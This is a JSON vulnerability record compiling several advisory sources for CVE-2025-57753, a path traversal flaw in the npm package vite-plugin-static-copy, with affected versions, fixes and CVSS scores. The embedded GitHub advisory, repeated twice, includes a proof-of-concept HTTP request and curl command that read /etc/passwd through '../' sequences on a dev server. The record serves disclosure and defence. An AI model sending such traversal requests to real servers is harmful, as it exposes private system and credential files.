{"id":"CVE-2025-57753","aliases":["EUVD-2025-25476","GHSA-pp7p-q8fx-2968"],"status":"published","title":"vite-plugin-static-copy files not included in `src` are accessible with a crafted request","description":"vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.","severity":{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00422,"percentile":0.36856,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2025-08-21T14:53:52Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"npm","package":"vite-plugin-static-copy","fixed_in":["3.1.2","2.3.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vite-plugin-static-copy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"3.1.1"},{"fixed":"3.1.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite-plugin-static-copy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.3"},{"last_affected":"2.3.1"},{"fixed":"2.3.2"}]}]},{"source":"osv","ecosystem":"npm","package":"vite-plugin-static-copy","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"vite-plugin-static-copy","ranges":[{"type":"SEMVER","events":[{"introduced":"0.4.3"},{"fixed":"2.3.2"}]}]}],"products":[{"vendor":"sapphi-red","product":"vite-plugin-static-copy"}],"references":[{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/security/advisories/GHSA-pp7p-q8fx-2968","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/0bc6b49ed72b46eecfc9682045f4b46a19694969","tags":["web"]},{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/4627afb8582083eab733881d3d974e1c1f23997d","tags":["web"]},{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%402.3.2","tags":["web"]},{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%403.1.2","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57753","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pp7p-q8fx-2968"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57753.json","tags":["advisory"]},{"url":"https://github.com/sapphi-red/vite-plugin-static-copy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-57753","title":"vite-plugin-static-copy files not included in `src` are accessible with a crafted request","description":"vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.","status":"published","published":"2025-08-21T16:03:04.804Z","modified":"2025-08-21T17:32:07.786Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:32:34.773122Z"}],"euvd":[{"id":"EUVD-2025-25476","description":"vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.","status":"published","published":"2025-08-21T16:03:04Z","modified":"2025-08-21T17:32:07Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T20:31:55.037702Z"}],"ghsa":[{"id":"GHSA-pp7p-q8fx-2968","title":"vite-plugin-static-copy files not included in `src` are possible to access with a crafted request","description":"### Summary\n\nFiles not included in `src` was possible to access with a crafted request.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\nArbitrary files can be disclosed by exploiting this vulnerability.\n\n### Details\n\nConsider the following configuration in used by `vite.config.ts`:\n\n```ts\nimport { defineConfig } from 'vite'\nimport { viteStaticCopy } from 'vite-plugin-static-copy'\n\nexport default defineConfig({\n    plugins: [\n      viteStaticCopy({\n        targets: [\n          {\n            src: \"./public/images\",\n            dest: \"./\",\n          },\n        ],\n      }),\n    ],\n  });\n```\n\nThe files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.\n\n### PoC\nI've attached a demo app to showcase the bug.\n\nRun it with `npm run dev` and issue the following HTTP request\n\n```\nGET /static/images/../../../../../../../etc/passwd HTTP/1.1\nHost: localhost:3001\nContent-Length: 2\n```\nOR \n```\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:3001' -H $'Content-Length: 2' \\\n    --data-binary $'\\x0d\\x0a' \\\n    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'\n```\nObserve that the `/etc/passwd` file is included in the response.\n\n\u003cimg width=\"1289\" height=\"449\" alt=\"Screenshot 2025-08-16 at 10 27 11 PM\" src=\"https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37\" /\u003e","status":"published","published":"2025-08-21T14:53:52Z","modified":"2025-08-21T19:17:00Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:54.795089Z"}],"nvd":[{"id":"CVE-2025-57753","description":"vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.","status":"published","published":"2025-08-21T16:15:34.823Z","modified":"2026-06-17T09:43:22.207Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:11:25.261243Z"}],"osv":[{"id":"CVE-2025-57753","title":"vite-plugin-static-copy files not included in `src` are accessible with a crafted request","description":"vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.","status":"published","published":"2025-08-21T16:03:04.804Z","modified":"2026-10-28T02:30:50.434004381Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:51.190588Z"},{"id":"GHSA-pp7p-q8fx-2968","title":"vite-plugin-static-copy files not included in `src` are possible to access with a crafted request","description":"### Summary\n\nFiles not included in `src` was possible to access with a crafted request.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\nArbitrary files can be disclosed by exploiting this vulnerability.\n\n### Details\n\nConsider the following configuration in used by `vite.config.ts`:\n\n```ts\nimport { defineConfig } from 'vite'\nimport { viteStaticCopy } from 'vite-plugin-static-copy'\n\nexport default defineConfig({\n    plugins: [\n      viteStaticCopy({\n        targets: [\n          {\n            src: \"./public/images\",\n            dest: \"./\",\n          },\n        ],\n      }),\n    ],\n  });\n```\n\nThe files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.\n\n### PoC\nI've attached a demo app to showcase the bug.\n\nRun it with `npm run dev` and issue the following HTTP request\n\n```\nGET /static/images/../../../../../../../etc/passwd HTTP/1.1\nHost: localhost:3001\nContent-Length: 2\n```\nOR \n```\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:3001' -H $'Content-Length: 2' \\\n    --data-binary $'\\x0d\\x0a' \\\n    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'\n```\nObserve that the `/etc/passwd` file is included in the response.\n\n\u003cimg width=\"1289\" height=\"449\" alt=\"Screenshot 2025-08-16 at 10 27 11 PM\" src=\"https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37\" /\u003e","status":"published","published":"2025-08-21T14:53:52Z","modified":"2025-08-21T19:16:58Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:53.244788Z"}]}}
